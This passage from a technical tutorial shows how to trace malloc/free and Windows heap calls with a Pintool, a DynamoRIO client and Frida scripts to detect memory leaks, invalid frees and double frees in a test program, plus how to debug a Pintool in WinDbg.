0x569b88 [*] malloc(128) = 0x569c10 [*] malloc(128) = 0x569c98 [*] free(0x569b88) [*] free(0x569c98) [*] malloc(2) = 0x564e78 [*] Memory at address 0x564e78 allocated but not freed [*] Memory at address 0x564f68 allocated but not freed [*] Memory at address 0x569c10 allocated but not freed Or, if we pass any data as an argument to our ExercisePin.exe⊠C:\pin>pin.exe -t "C:\pin\source\tools\MallocTracer\Release\MallocTracer.dll" -- C:\TARGET\ExercisePin.exe moo C:\pin>type memprofile.out [*] Freeing unallocated memory at address 0x0. [*] malloc(2) = 0x214f78 [*] malloc(128) = 0x218f98 [*] malloc(128) = 0x219020 [*] malloc(128) = 0x2190a8 [*] free(0x218f98) [*] free(0x2190a8) [*] Memory at address 0x2190a8 has been freed more than once (Double Free). As we can see above, our Pintool was able to identify all the issues we were aware of in our test case. That is, invalid free, memory leaks, and a double free. The reason why we donât see the memory leaks in the last output, itâs because our binary crashes when the double free happens. The binary was built with Visual Studio, which adds some Heap integrity checks and makes it crash. If you build ExercisePin.exe with gcc, or another compiler, the double free wonât be noticed and the program will keep running. However, if you build it with gcc, for example, youâll see many other malloc and free calls from the C Run-Time Library initialization code. Hence, I didnât use gcc to make it easier to follow. Basic DynamoRIO client (MallocWrap) Weâll create a DynamoRIO client that mimics the Pintool above. That is, weâll log all the malloc and free calls. The same way, the instrumentation is added before and after the malloc call since we want to log the parameter passed to the call and its return value. For the free call, weâll only look at its parameter, and not at its return value. So the instrumentation is only added before the call. Weâll use the drwrap DynamoRIO extension, which provides function wrapping and replacing support, drwrap uses the drmgr extension to ensure its events occur at the proper order. We start with some âstandardâ includes, and to use the DynamoRIO APIs we need to include dr_api.h. #include "stdafx.h" #include <fstream> #include "dr_api.h" #include "drmgr.h" #include "drwrap.h" using namespace std; Additionally, we include the headers for the extensions mentioned above. That is, drmgr.h and drwrap.h. Weâll write the output of this DynamoRIO client to a text file, hence the fstream include. I wonât use a container in this example to keep track of the memory allocations. You can just copy and paste that functionality from the Pintool above with slight modifications, so Iâll leave that for you as an exercise. In this example, weâll simply log malloc and free calls to demonstrate how to use the DynamoRIO API to accomplish the same as before, where we used Pin. Then, we have the functionsâ declaration, and some global variables. static void event_exit(void); static void wrap_malloc_pre(void *wrapcxt, OUT void **user_data); static void wrap_malloc_post(void *wrapcxt, void *user_data); static void wrap_free_pre(void *wrapcxt, OUT void **user_data); ofstream LogFile; #define MALLOC_ROUTINE_NAME "malloc" #define FREE_ROUTINE_NAME "free" These are all cosmetic, we could have used these #defines in our Pintool too. We didnât, the reason being is⊠we donât have to. Feel free to adopt the style you want. I built this example on top of this one, so I ended up using more or less the same âstyleâ. If you plan to port your client or Pintool to other platforms, this can be considered a good practice because it will make the changes easier. Next, we have a function called module_load_event, which his a callback function registered by the drmgr_register_module_load_event. DynamoRIO will call this function whenever the application loads a module. As you can see, not that different from Pin. static void module_load_event(void *drcontext, const module_data_t *mod, bool loaded) { app_pc towrap = (app_pc)dr_get_proc_address(mod->handle, MALLOC_ROUTINE_NAME); if (towrap != NULL) { bool ok = drwrap_wrap(towrap, wrap_malloc_pre, wrap_malloc_post); if (!ok) { dr_fprintf(STDERR, "[-] Could not wrap 'malloc': already wrapped?\n"); DR_ASSERT(ok); } } towrap = (app_pc)dr_get_proc_address(mod->handle, FREE_ROUTINE_NAME); if (towrap != NULL) { bool ok = drwrap_wrap(towrap, wrap_free_pre, NULL); if (!ok) { dr_fprintf(STDERR, "[-] Could not wrap 'free': already wrapped?\n"); DR_ASSERT(ok); } } } As we can see above, we then use dr_get_proc_address to get the entry point of malloc. If it doesnât return NULL (on failure), then we use drwrap_wrap to wrap the application function by calling wrap_malloc_pre() prior to every invocation of the original function (malloc) and calling wrap_malloc_post() after every invocation of the original function (malloc). Again, conceptually, very close to what we did with Pin. We do the same with free. However, as stated before we are only interested in the free parameter and not its return value. So we only wrap the free call prior to every invocation (wrap_free_pre). Since we donât care about its return value we just pass NULL as the third parameter to drwrap_wrap. With drwrap_wrap one of the callbacks can be NULL, but not both. We then have the dr_client_main, which is, letâs say, our main function. DynamoRIO looks up dr_client_main in each client library and calls that function when the process starts. We have a pretty common âmainâ, with calls to dr_set_client_name (which sets information presented to users in diagnostic messages), dr_log (which simply writes to DynamoRIOâs log file), and a couple of functions that you can guess what they do by its name. Additionally, drmgr_init, and drwrap_init, initialize the respective extensions. The dr_register_exit_event is pretty much the same as the Pin PIN_AddFiniFunction, which is a call to a function to be executed immediately before the application exits. Lastly, we have the call to drmgr_register_module_load_event that we already mentioned above. DR_EXPORT void dr_client_main(client_id_t id, int argc, const char *argv[]) { LogFile.open("memprofile.out"); dr_set_client_name("DynamoRIO Sample Client 'wrap'", "http://dynamorio.org/issues"); dr_log(NULL, LOG_ALL, 1, "Client 'wrap' initializing\n"); if (dr_is_notify_on()) { dr_enable_console_printing(); dr_fprintf(STDERR, "[*] Client wrap is running\n"); } drmgr_init(); drwrap_init(); dr_register_exit_event(event_exit); drmgr_register_module_load_event(module_load_event); } The function to be executed immediately before the application exits. Nothing special here. static void event_exit(void) { drwrap_exit(); drmgr_exit(); } And lastly, the callback functions already mentioned before. Whatâs relevant here? The call drwrap_get_arg, that as we can guess âReturns the value of the arg-th argument (0-based) to the wrapped function represented by wrapcxt. Assumes the regular C calling convention (i.e., no fastcall). May only be called from a drwrap_wrap pre-function callback. To access argument values in a post-function callback, store them in the user_data parameter passed between the pre and post functions.â. And the call drwrap_get_retval, which obviously returns the return value of the wrapped function. static void wrap_malloc_pre(void *wrapcxt, OUT void **user_data) { /* malloc(size) or HeapAlloc(heap, flags, size) */ //size_t sz = (size_t)drwrap_get_arg(wrapcxt, 2); // HeapAlloc size_t sz = (size_t)drwrap_get_arg(wrapcxt, 0); // malloc LogFile << "[*] malloc(" << dec << sz << ")"; // log the malloc size } static void wrap_malloc_post(void *wrapcxt, void *user_data) { int actual_read = (int)(ptr_int_t)drwrap_get_retval(wrapcxt); LogFile << "\t\t= 0x" << hex << actual_read << endl; } static void wrap_free_pre(void *wrapcxt, OUT void **user_data) { int addr = (int)drwrap_get_arg(wrapcxt, 0); LogFile << "[*] free(0x" << hex << addr << ")" << endl; } Very simple, and not that different from what we have seen before with Pin. The whole DynamoRIO client code is below. You can also get the whole Visual Studio project from GitHub here. #include "stdafx.h" #include <fstream> #include "dr_api.h" #include "drmgr.h" #include "drwrap.h" using namespace std; static void event_exit(void); static void wrap_malloc_pre(void *wrapcxt, OUT void **user_data); static void wrap_malloc_post(void *wrapcxt, void *user_data); static void wrap_free_pre(void *wrapcxt, OUT void **user_data); ofstream LogFile; #define MALLOC_ROUTINE_NAME "malloc" #define FREE_ROUTINE_NAME "free" static void module_load_event(void *drcontext, const module_data_t *mod, bool loaded) { app_pc towrap = (app_pc)dr_get_proc_address(mod->handle, MALLOC_ROUTINE_NAME); if (towrap != NULL) { bool ok = drwrap_wrap(towrap, wrap_malloc_pre, wrap_malloc_post); if (!ok) { dr_fprintf(STDERR, "[-] Could not wrap 'malloc': already wrapped?\n"); DR_ASSERT(ok); } } towrap = (app_pc)dr_get_proc_address(mod->handle, FREE_ROUTINE_NAME); if (towrap != NULL) { bool ok = drwrap_wrap(towrap, wrap_free_pre, NULL); if (!ok) { dr_fprintf(STDERR, "[-] Could not wrap 'free': already wrapped?\n"); DR_ASSERT(ok); } } } DR_EXPORT void dr_client_main(client_id_t id, int argc, const char *argv[]) { LogFile.open("memprofile.out"); dr_set_client_name("DynamoRIO Sample Client 'wrap'", "http://dynamorio.org/issues"); dr_log(NULL, LOG_ALL, 1, "Client 'wrap' initializing\n"); if (dr_is_notify_on()) { dr_enable_console_printing(); dr_fprintf(STDERR, "[*] Client wrap is running\n"); } drmgr_init(); drwrap_init(); dr_register_exit_event(event_exit); drmgr_register_module_load_event(module_load_event); } static void event_exit(void) { drwrap_exit(); drmgr_exit(); } static void wrap_malloc_pre(void *wrapcxt, OUT void **user_data) { /* malloc(size) or HeapAlloc(heap, flags, size) */ //size_t sz = (size_t)drwrap_get_arg(wrapcxt, 2); // HeapAlloc size_t sz = (size_t)drwrap_get_arg(wrapcxt, 0); // malloc LogFile << "[*] malloc(" << dec << sz << ")"; // log the malloc size } static void wrap_malloc_post(void *wrapcxt, void *user_data) { int actual_read = (int)(ptr_int_t)drwrap_get_retval(wrapcxt); LogFile << "\t\t= 0x" << hex << actual_read << endl; } static void wrap_free_pre(void *wrapcxt, OUT void **user_data) { int addr = (int)drwrap_get_arg(wrapcxt, 0); LogFile << "[*] free(0x" << hex << addr << ")" << endl; } If you run it against our ExercisePin.exe (see the section Target/Guest Program) binary. C:\dynamorio\bin32>drrun.exe -client "C:\Users\bob\Desktop\WRKDIR\MallocWrap\Release\MallocWrap.dll" 0 "" c:\Users\bob\Desktop\ExercisePin.exe [*] Client wrap is running done C:\dynamorio\bin32>type memprofile.out [*] free(0x0) [*] malloc(2) = 0x5a35d0 [*] malloc(128) = 0x5a9c50 [*] malloc(128) = 0x5a9cd8 [*] malloc(128) = 0x5a9d60 [*] free(0x5a9c50) [*] free(0x5a9d60) [*] malloc(2) = 0x5a34e0 We can extend this program to get the exact same functionality as our Pintool and check for memory corruption bugs instead of logging the calls only. Iâll leave that as an exercise for you. Basic Frida script (MallocLogger) Frida is a fast-growing DBI framework, mainly used in mobile devices. I havenât played much with mobile applications in a long time (itâs about to change though), still, I wanted to give Frida a try because I heard good things about it, and it also supports Windows. The interesting part here is that Frida injects a JavaScript interpreter in the target/guest program. So, instead of writing C code, weâll be writing JavaScript to instrument our program (actually, if we want we can also use C or Swift). You can see this as an advantage, or disadvantage. If you are a vulnerability hunter, and you like to poke around browsers then this should be an advantage, I guess. Itâs actually very interesting that we are writing instrumentation code to manipulate low-level instructions by using a high-level language. You can find the JavaScript API here. Anyway, the use case will be exactly the same as the ones we saw before. While the instrumentation code has to be written in JavaScript (well, again, thatâs not true but letâs use JavaScript because itâs cool), the resulting tools can be written in either Python or JavaScript. Weâll use Fridaâs Interceptor to trace all malloc and free calls for a start. The target will be our ExercisePin.exe binary again. Weâll also try to create an output close to the one of our basic MallocTracer Pintool, and MallocWrap DynamoRIO client. Which means weâll log the amount of memory requested, the return address of malloc and the argument of free. Hereâs the sample MallocLogger.py Python script. #!/usr/bin/env python import frida import sys pid = frida.spawn(['ExercisePin.exe']) session = frida.attach(pid) contents = open('mallocLogger.js').read() script = session.create_script(contents) script.load() frida.resume(pid) sys.stdin.read() And below is the instrumentation JavaScript file, MallocLogger.js. // Interceptor for 'malloc' Interceptor.attach(Module.findExportByName(null, 'malloc'), { // Log before malloc onEnter: function (args) { console.log("malloc(" + args[0].toInt32() + ")"); }, // Log after malloc onLeave: function (retval) { console.log("\t\t= 0x" + retval.toString(16)); } }); // Interceptor for 'free' Interceptor.attach(Module.findExportByName(null, 'free'), { onEnter: function (args) { console.log("free(0x" + args[0].toString(16) + ")"); } }); If we run this Python script we get something like. C:\Users\bob\Desktop\frida>python MallocLogger.py free(0x0) malloc(2) = 0x984268 malloc(128) = 0x9856d8 malloc(128) = 0x985760 malloc(128) = 0x9857e8 done free(0x9856d8) free(0x9857e8) malloc(2) = 0x984278 Interestingly enough, Frida also comes with an utility frida-trace.exe that pretty much allows us to do the exact same thing we did above without writing almost any code (besides adding a bit more of information and tweaking the output). C:\Users\bob\Desktop\frida>frida-trace -i malloc -i free .\ExercisePin.exe Instrumenting functions... malloc: Auto-generated handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\msvcrt.dll\malloc.js" malloc: Auto-generated handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\ucrtbase.DLL\malloc.js" free: Auto-generated handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\msvcrt.dll\free.js" free: Auto-generated handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\ucrtbase.DLL\free.js" Started tracing 4 functions. Press Ctrl+C to stop. done /* TID 0x1f84 */ 125 ms free() 125 ms malloc() 125 ms malloc() 125 ms malloc() 125 ms malloc() 125 ms free() 125 ms free() 125 ms malloc() Process terminated If you look at the output above you can see that some JavaScript handlers were auto-generated. We can just tweak this JavaScript code to make the output look as before. If we open for example the file __handlers__\msvcrt.dll\malloc.js weâll see something like: /* * Auto-generated by Frida. Please modify to match the signature of malloc. * This stub is currently auto-generated from manpages when available. * * For full API reference, see: http://www.frida.re/docs/javascript-api/ */ { /** * Called synchronously when about to call malloc. * * @this {object} - Object allowing you to store state for use in onLeave. * @param {function} log - Call this function with a string to be presented to the user. * @param {array} args - Function arguments represented as an array of NativePointer objects. * For example use Memory.readUtf8String(args[0]) if the first argument is a pointer to a C string encoded as UTF-8. * It is also possible to modify arguments by assigning a NativePointer object to an element of this array. * @param {object} state - Object allowing you to keep state across function calls. * Only one JavaScript function will execute at a time, so do not worry about race-conditions. * However, do not use this to store function arguments across onEnter/onLeave, but instead * use "this" which is an object for keeping state local to an invocation. */ onEnter: function (log, args, state) { log("malloc()"); }, /** * Called synchronously when about to return from malloc. * * See onEnter for details. * * @this {object} - Object allowing you to access state stored in onEnter. * @param {function} log - Call this function with a string to be presented to the user. * @param {NativePointer} retval - Return value represented as a NativePointer object. * @param {object} state - Object allowing you to keep state across function calls. */ onLeave: function (log, retval, state) { } } We just need to tweak the onEnter and onLeave functions. For example. /* * Auto-generated by Frida. Please modify to match the signature of malloc. * This stub is currently auto-generated from manpages when available. * * For full API reference, see: http://www.frida.re/docs/javascript-api/ */ { /** * Called synchronously when about to call malloc. * * @this {object} - Object allowing you to store state for use in onLeave. * @param {function} log - Call this function with a string to be presented to the user. * @param {array} args - Function arguments represented as an array of NativePointer objects. * For example use Memory.readUtf8String(args[0]) if the first argument is a pointer to a C string encoded as UTF-8. * It is also possible to modify arguments by assigning a NativePointer object to an element of this array. * @param {object} state - Object allowing you to keep state across function calls. * Only one JavaScript function will execute at a time, so do not worry about race-conditions. * However, do not use this to store function arguments across onEnter/onLeave, but instead * use "this" which is an object for keeping state local to an invocation. */ onEnter: function (log, args, state) { log("malloc(" + args[0].toInt32() + ")"); }, /** * Called synchronously when about to return from malloc. * * See onEnter for details. * * @this {object} - Object allowing you to access state stored in onEnter. * @param {function} log - Call this function with a string to be presented to the user. * @param {NativePointer} retval - Return value represented as a NativePointer object. * @param {object} state - Object allowing you to keep state across function calls. */ onLeave: function (log, retval, state) { log("\t\t= 0x" + retval.toString(16)); } } Now, if we run again the exact same command as before weâll get the following. C:\Users\bob\Desktop\frida>frida-trace -i malloc -i free .\ExercisePin.exe Instrumenting functions... malloc: Loaded handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\msvcrt.dll\malloc.js" malloc: Loaded handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\ucrtbase.DLL\malloc.js" free: Loaded handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\msvcrt.dll\free.js" free: Loaded handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\ucrtbase.DLL\free.js" Started tracing 4 functions. Press Ctrl+C to stop. done /* TID 0x23e4 */ 64 ms free(0x0) 64 ms malloc(2) 64 ms = 0x8a42a8 64 ms malloc(128) 64 ms = 0x8a57a0 64 ms malloc(128) 64 ms = 0x8a5828 64 ms malloc(128) 64 ms = 0x8a58b0 64 ms free(0x8a57a0) 64 ms free(0x8a58b0) 65 ms malloc(2) 65 ms = 0x8a42b8 Process terminated We can extend this program to get the exact same functionality as our Pintool, and check for memory corruption bugs instead of logging the calls only. Iâll leave that as an exercise for you. Debugging If you want to debug your Pintool you should use the -pause_tool switch and specify the number of seconds to wait until you attach the debugger to its process. See below how. C:\pin\source\tools\MallocTracer\Release>c:\pin\pin.exe -pause_tool 20 -t "C:\pin\source\tools\MallocTracer\Release\MallocTracer.dll" -- ExercisePin.exe Pausing for 20 seconds to attach to process with pid 1568 For debugging of the Pintool I actually donât use Visual Studio, I prefer to use WinDbg because Iâm used to it and it is awesome. Once you attach to the process with WinDbg itâs very easy to set up a breakpoint wherever you like in your Pintool. Below is just a simple example of setting a breakpoint in the main function of my Pintool. Microsoft (R) Windows Debugger Version 10.0.17134.12 X86 Copyright (c) Microsoft Corporation. All rights reserved. *** wait with pending attach Symbol search path is: srv* Executable search path is: ModLoad: 00080000 00087000 C:\pin\source\tools\MallocTracer\Release\ExercisePin.exe ModLoad: 77800000 77980000 C:\Windows\SysWOW64\ntdll.dll ModLoad: 769d0000 76ae0000 C:\Windows\syswow64\kernel32.dll ModLoad: 76b50000 76b97000 C:\Windows\syswow64\KERNELBASE.dll Break-in sent, waiting 30 seconds... ModLoad: 54c20000 54f93000 MallocTracer.dll It is now possible to set breakpoints in Pin tool. Use "Go" command (F5) to proceed. (620.12c0): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=53833c8c ecx=76b6388e edx=00000000 esi=53833c8c edi=53833cb8 eip=76b6338d esp=01ad1930 ebp=0042e7e4 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 KERNELBASE!DebugBreak+0x2: 76b6338d cc int 3 0:000> lmf start end module name 00080000 00087000 ExercisePin C:\pin\source\tools\MallocTracer\Release\ExercisePin.exe 54c20000 54f93000 MallocTracer MallocTracer.dll 769d0000 76ae0000 kernel32 C:\Windows\syswow64\kernel32.dll 76b50000 76b97000 KERNELBASE C:\Windows\syswow64\KERNELBASE.dll 77800000 77980000 ntdll C:\Windows\SysWOW64\ntdll.dll 0:000> lmDvmMallocTracer Browse full module list start end module name 54c20000 54f93000 MallocTracer (deferred) Image path: MallocTracer.dll Image name: MallocTracer.dll Browse all global symbols functions data Timestamp: Sat Jun 30 14:28:14 2018 (5B37F5EE) CheckSum: 00000000 ImageSize: 00373000 Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4 Information from resource tables: 0:000> x /D /f MallocTracer!a* A B C D E F G H I J K L M N O P Q R S T U V W X Y Z *** WARNING: Unable to verify checksum for MallocTracer.dll 54c549b8 MallocTracer!ASM_pin_wow64_gate (<no parameter info>) 54c5483c MallocTracer!ATOMIC_Increment16 (<no parameter info>) 54c547d0 MallocTracer!ATOMIC_Swap8 (<no parameter info>) 54c54854 MallocTracer!ATOMIC_Increment32 (<no parameter info>) 54e28b64 MallocTracer!ADDRINT_AtomicInc (<no parameter info>) 54c35e20 MallocTracer!atexit (<no parameter info>) 54c547fc MallocTracer!ATOMIC_Swap32 (<no parameter info>) 54c54740 MallocTracer!ATOMIC_SpinDelay (<no parameter info>) 54c533c0 MallocTracer!ATOMIC::LIFO_PTR<LEVEL_BASE::SWMALLOC::FREE_LIST_ELEMENT,3,LEVEL_BASE::ATOMIC_STATS>::PopInternal (<no parameter info>) 54e1a2b0 MallocTracer!abort (<no parameter info>) 54c54810 MallocTracer!ATOMIC_Copy64 (<no parameter info>) 54c547e4 MallocTracer!ATOMIC_Swap16 (<no parameter info>) 54c41710 MallocTracer!ATOMIC::LIFO_CTR<ATOMIC::FIXED_LIFO<LEVEL_BASE::LOCK_COMMAND *,1,32,ATOMIC::NULLSTATS>::ELEMENT,ATOMIC::FIXED_LIFO<LEVEL_BASE::LOCK_COMMAND *,1,32,ATOMIC::NULLSTATS>::ELEMENT_HEAP,1,32,unsigned __int64,ATOMIC::NULLSTATS>::Pop (<no parameter info>) 54c54824 MallocTracer!ATOMIC_Increment8 (<no parameter info>) 54c549bb MallocTracer!ASM_pin_wow64_gate_end (<no parameter info>) 54c5478c MallocTracer!ATOMIC_CompareAndSwap32 (<no parameter info>) 54c54750 MallocTracer!ATOMIC_CompareAndSwap8 (<no parameter info>) 54c41820 MallocTracer!ATOMIC::LIFO_CTR<ATOMIC::FIXED_LIFO<LEVEL_BASE::LOCK_COMMAND *,1,32,ATOMIC::NULLSTATS>::ELEMENT,ATOMIC::FIXED_LIFO<LEVEL_BASE::LOCK_COMMAND *,1,32,ATOMIC::NULLSTATS>::ELEMENT_HEAP,1,32,unsigned __int64,ATOMIC::NULLSTATS>::Push (<no parameter info>) 54c535a0 MallocTracer!ATOMIC::IDSET<7,LEVEL_BASE::ATOMIC_STATS>::ReleaseID (<no parameter info>) 54c547a8 MallocTracer!ATOMIC_CompareAndSwap64 (<no parameter info>) 54c3e660 MallocTracer!ATOMIC::EXPONENTIAL_BACKOFF<LEVEL_BASE::ATOMIC_STATS>::~EXPONENTIAL_BACKOFF<LEVEL_BASE::ATOMIC_STATS> (<no parameter info>) 54c5476c MallocTracer!ATOMIC_CompareAndSwap16 (<no parameter info>) 0:000> x /D /f MallocTracer!m* A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 54e21e20 MallocTracer!mbsinit (<no parameter info>) 54c6e450 MallocTracer!mmap (<no parameter info>) 54c3bb40 MallocTracer!malloc (<no parameter info>) 54e21db0 MallocTracer!memchr (<no parameter info>) 54e21e00 MallocTracer!mbrtowc (<no parameter info>) 54e26500 MallocTracer!mbrlen (<no parameter info>) 54e21e40 MallocTracer!mbsnrtowcs (<no parameter info>) 54e261b0 MallocTracer!mbrtoc32 (<no parameter info>) 54c38730 MallocTracer!main (<no parameter info>) 54e1a2f0 MallocTracer!memset (<no parameter info>) 54e26410 MallocTracer!mbstate_get_byte (<no parameter info>) 54e22010 MallocTracer!mbsrtowcs (<no parameter info>) 54e1a1a0 MallocTracer!memmove (<no parameter info>) 54e263e0 MallocTracer!mbstate_bytes_so_far (<no parameter info>) 54e1a2c0 MallocTracer!memcpy (<no parameter info>) 54c6e480 MallocTracer!munmap (<no parameter info>) 54e26420 MallocTracer!mbstate_set_byte (<no parameter info>) 0:000> bp 54c38730 0:000> g Breakpoint 0 hit eax=53833cb8 ebx=54f64000 ecx=00000000 edx=54f356c0 esi=54f6500a edi=54f65000 eip=54c38730 esp=01ad19f4 ebp=53833c8c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 MallocTracer!main: 54c38730 55 push ebp For DynamoRIO Iâll just point you to the official documentation since the debugging process can be a bit more tricky. Check the documentation here. Pintool (WinMallocTracer) As mentioned in the beginning, this post is all about Windows. Which means it doesnât really make sense to be tracking malloc, and/or free. If we want to play with ârealâ Windows applications we need to trace the Windows Heap family of functions. Itâs a good time to look again at the diagram shown before that illustrates the relationship of Windows API calls used to allocate process memory (from the book The Art of Memory Forensics). If we want to make sure weâll always âseeâ the memory allocations performed by Windows applications, we should be looking for RtlAllocateHeap, RtlReAllocateHeap, RtlFreeHeap, VirtualAllocEx, and VirtualFreeEx. The Pintool below looks exactly at these functions. If you play a bit with multiple applications youâll realize that to accomplish âourâ goal of tracking memory allocations weâll face a lot of challenges. The code below tries to overcome some of them. I wonât go into detail explaining the API calls used as I did before. Mainly because they are mostly the same. Iâll leave the code here and you can go through it. After I simply mention some of the main differences when compared to the basic Pintool presented before. #include "pin.h" #include <iostream> #include <fstream> #include <map> map<ADDRINT, bool> MallocMap; ofstream LogFile; KNOB<string> LogFileName(KNOB_MODE_WRITEONCE, "pintool", "o", "memprofile.out", "Memory trace file name"); KNOB<string> EntryPoint(KNOB_MODE_WRITEONCE, "pintool", "entrypoint", "main", "Guest entry-point function"); KNOB<BOOL> EnumSymbols(KNOB_MODE_WRITEONCE, "pintool", "symbols", "0", "List Symbols"); BOOL start_trace = false; VOID LogBeforeVirtualAlloc(ADDRINT size) { if (!start_trace) return; LogFile << "[*] VirtualAllocEx(" << dec << size << ")"; } VOID LogAfterVirtualAlloc(ADDRINT addr) { if (!start_trace) return; if (addr == NULL) { cerr << "[-] Error: VirtualAllocEx() return value was NULL."; return; } map<ADDRINT, bool>::iterator it = MallocMap.find(addr); if (it != MallocMap.end()) { if (it->second) it->second = false; else cerr << "[-] Error: allocating memory not freed!?!" << endl; } else { MallocMap.insert(pair<ADDRINT, bool>(addr, false)); LogFile << "\t\t= 0x" << hex << addr << endl; } } VOID LogBeforeVirtualFree(ADDRINT addr) { if (!start_trace) return; map<ADDRINT, bool>::iterator it = MallocMap.find(addr); if (it != MallocMap.end()) { if (it->second) LogFile << "[*] Memory at address 0x" << hex << addr << " has been freed more than once (Double Free)." << endl; else { it->second = true; // Mark it as freed LogFile << "[*] VirtualFreeEx(0x" << hex << addr << ")" << endl; } } else LogFile << "[*] Freeing unallocated memory at address 0x" << hex << addr << "." << endl; } VOID LogBeforeReAlloc(ADDRINT freed_addr, ADDRINT size) { if (!start_trace) return; // mark freed_addr as free map<ADDRINT, bool>::iterator it = MallocMap.find(freed_addr); if (it != MallocMap.end()) { it->second = true; LogFile << "[*] RtlHeapfree(0x" << hex << freed_addr << ") from RtlHeapRealloc()" << endl; } else LogFile << "[-] RtlHeapRealloc could not find addr to free??? - " << freed_addr << endl; LogFile << "[*] RtlHeapReAlloc(" << dec << size << ")"; } VOID LogAfterReAlloc(ADDRINT addr) { if (!start_trace) return; if (addr == NULL) return; map<ADDRINT, bool>::iterator it = MallocMap.find(addr); if (it != MallocMap.end()) { if (it->second) it->second = false; else // it already exists because of the HeapAlloc, we don't need to insert... just log it LogFile << "\t\t= 0x" << hex << addr << endl; } } VOID LogBeforeMalloc(ADDRINT size) { if (!start_trace) return; LogFile << "[*] RtlAllocateHeap(" << dec << size << ")"; } VOID LogAfterMalloc(ADDRINT addr) { if (!start_trace) return; if (addr == NULL) { cerr << "[-] Error: RtlAllocateHeap() return value was NULL."; return; } map<ADDRINT, bool>::iterator it = MallocMap.find(addr); if (it != MallocMap.end()) { if (it->second) it->second = false; else cerr << "[-] Error: allocating memory not freed!?!" << endl; } else { MallocMap.insert(pair<ADDRINT, bool>(addr, false)); LogFile << "\t\t= 0x" << hex << addr << endl; } } VOID LogFree(ADDRINT addr) { if (!start_trace) return; map<ADDRINT, bool>::iterator it = MallocMap.find(addr); if (it != MallocMap.end()) { if (it->second) LogFile << "[*] Memory at address 0x" << hex << addr << " has been freed more than once (Double Free)." << endl; else { it->second = true; // Mark it as freed LogFile << "[*] RtlFreeHeap(0x" << hex << addr << ")" << endl; } } else LogFile << "[*] Freeing unallocated memory at address 0x" << hex << addr << "." << endl; } VOID BeforeMain() { start_trace = true; } VOID AfterMain() { start_trace = false; } VOID CustomInstrumentation(IMG img, VOID *v) { for (SYM sym = IMG_RegsymHead(img); SYM_Valid(sym); sym = SYM_Next(sym)) { string undFuncName = PIN_UndecorateSymbolName(SYM_Name(sym), UNDECORATION_NAME_ONLY); if(EnumSymbols.Value()) { LogFile << "" << undFuncName << "" << endl; continue; } if (undFuncName == EntryPoint.Value().c_str()) { RTN allocRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(allocRtn)) { RTN_Open(allocRtn); RTN_InsertCall(allocRtn, IPOINT_BEFORE, (AFUNPTR)BeforeMain, IARG_END); RTN_InsertCall(allocRtn, IPOINT_AFTER, (AFUNPTR)AfterMain, IARG_END); RTN_Close(allocRtn); } } if (undFuncName == "RtlAllocateHeap") { RTN allocRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(allocRtn)) { RTN_Open(allocRtn); // Record RtlAllocateHeap size RTN_InsertCall(allocRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeMalloc, IARG_FUNCARG_ENTRYPOINT_VALUE, 2, IARG_END); // Record RtlAllocateHeap return address RTN_InsertCall(allocRtn, IPOINT_AFTER, (AFUNPTR)LogAfterMalloc, IARG_FUNCRET_EXITPOINT_VALUE, IARG_END); RTN_Close(allocRtn); } } if (undFuncName == "RtlReAllocateHeap") { RTN reallocRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(reallocRtn)) { RTN_Open(reallocRtn); // Record RtlReAllocateHeap freed_addr, size RTN_InsertCall(reallocRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeReAlloc, IARG_FUNCARG_ENTRYPOINT_VALUE, 2, IARG_FUNCARG_ENTRYPOINT_VALUE, 3, IARG_END); // Record RtlReAllocateHeap return address RTN_InsertCall(reallocRtn, IPOINT_AFTER, (AFUNPTR)LogAfterReAlloc, IARG_FUNCRET_EXITPOINT_VALUE, IARG_END); RTN_Close(reallocRtn); } } else if (undFuncName == "RtlFreeHeap") { RTN freeRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(freeRtn)) { RTN_Open(freeRtn); RTN_InsertCall(freeRtn, IPOINT_BEFORE, (AFUNPTR)LogFree, IARG_FUNCARG_ENTRYPOINT_VALUE, 2, IARG_END); RTN_Close(freeRtn); } } if (undFuncName == "VirtualAllocEx") { RTN vrallocRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(vrallocRtn)) { RTN_Open(vrallocRtn); RTN_InsertCall(vrallocRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeVirtualAlloc, IARG_FUNCARG_ENTRYPOINT_VALUE, 2, IARG_END); RTN_InsertCall(vrallocRtn, IPOINT_AFTER, (AFUNPTR)LogAfterVirtualAlloc, IARG_FUNCRET_EXITPOINT_VALUE, IARG_END); RTN_Close(vrallocRtn); } } if (undFuncName == "VirtualFreeEx") { RTN vrfreeRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(vrfreeRtn)) { RTN_Open(vrfreeRtn); RTN_InsertCall(vrfreeRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeVirtualFree, IARG_FUNCARG_ENTRYPOINT_VALUE, 1, IARG_END); RTN_Close(vrfreeRtn); } } } } VOID FinalFunc(INT32 code, VOID *v) { for (pair<ADDRINT, bool> p : MallocMap) { if (!p.second) LogFile << "[*] Memory at address 0x" << hex << p.first << " allocated but not freed" << endl; } LogFile.close(); } int main(int argc, char *argv[]) { PIN_InitSymbols(); PIN_Init(argc, argv); 